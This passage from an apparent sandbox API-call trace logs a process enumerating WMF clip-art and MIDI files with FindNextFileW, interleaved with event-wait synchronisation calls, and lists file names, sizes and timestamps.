ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3fb0f00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0250.887] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fce500, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20fce500, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0250.887] ResetEvent (hEvent=0x118) returned 1 [0250.887] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0250.891] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeba4c700, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeba4c700, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0250.891] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74832900, ftCreationTime.dwHighDateTime=0x1bd4bf7, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74832900, ftLastWriteTime.dwHighDateTime=0x1bd4bf7, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0250.891] ResetEvent (hEvent=0x118) returned 1 [0250.892] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0252.085] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0252.086] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d46d00, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7d46d00, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0252.086] ResetEvent (hEvent=0x118) returned 1 [0252.086] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0252.100] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0252.100] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0252.100] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77641800, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77641800, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0252.101] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadcd00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfadcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0252.101] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395c300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6395c300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0252.101] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60023c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60023c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0252.101] ResetEvent (hEvent=0x118) returned 1 [0252.101] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0252.113] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6eb500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6eb500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0252.113] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5295200, ftCreationTime.dwHighDateTime=0x1bd4b23, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5295200, ftLastWriteTime.dwHighDateTime=0x1bd4b23, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0252.114] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2a00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0252.114] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca47100, ftCreationTime.dwHighDateTime=0x1bd4af0, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ca47100, ftLastWriteTime.dwHighDateTime=0x1bd4af0, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0252.114] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0252.115] ResetEvent (hEvent=0x118) returned 1 [0252.115] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0252.121] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0252.121] ResetEvent (hEvent=0x118) returned 1 [0252.121] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0252.124] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9efd600, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9efd600, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0252.124] ResetEvent (hEvent=0x118) returned 1 [0252.125] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0252.425] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fadc00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54fadc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0252.425] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c55700, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62c55700, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0252.425] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b5e00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x276b5e00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0252.426] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263a3100, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x263a3100, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0252.426] ResetEvent (hEvent=0x118) returned 1 [0252.426] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0252.448] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25090400, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25090400, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0252.449] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d7d700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23d7d700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0252.449] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7ffa00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb7ffa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0252.449] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0252.450] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21757d00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21757d00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0252.450] ResetEvent (hEvent=0x118) returned 1 [0252.450] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0252.464] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0252.464] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0252.464] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d186600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d186600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0252.465] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31ccd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc31ccd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0252.465] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63bebd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63bebd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0252.466] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe440e600, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe440e600, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0252.466] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910b6b00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x910b6b00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0252.466] ResetEvent (hEvent=0x118) returned 1 [0252.466] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0252.469] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16ae900, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd16ae900, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0252.469] ResetEvent (hEvent=0x118) returned 1 [0252.469] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0252.473] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c32800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c32800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0252.473] ResetEvent (hEvent=0x118) returned 1 [0252.473] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0252.476] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0252.476] ResetEvent (hEvent=0x118) returned 1 [0252.477] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0253.276] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceceee00, ftCreationTime.dwHighDateTime=0x1c9b81d, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xceceee00, ftLastWriteTime.dwHighDateTime=0x1c9b81d, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0253.276] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0253.276] ResetEvent (hEvent=0x118) returned 1 [0253.276] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0253.284] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0253.284] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0253.285] ResetEvent (hEvent=0x118) returned 1 [0253.285] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0253.298] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0253.298] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, 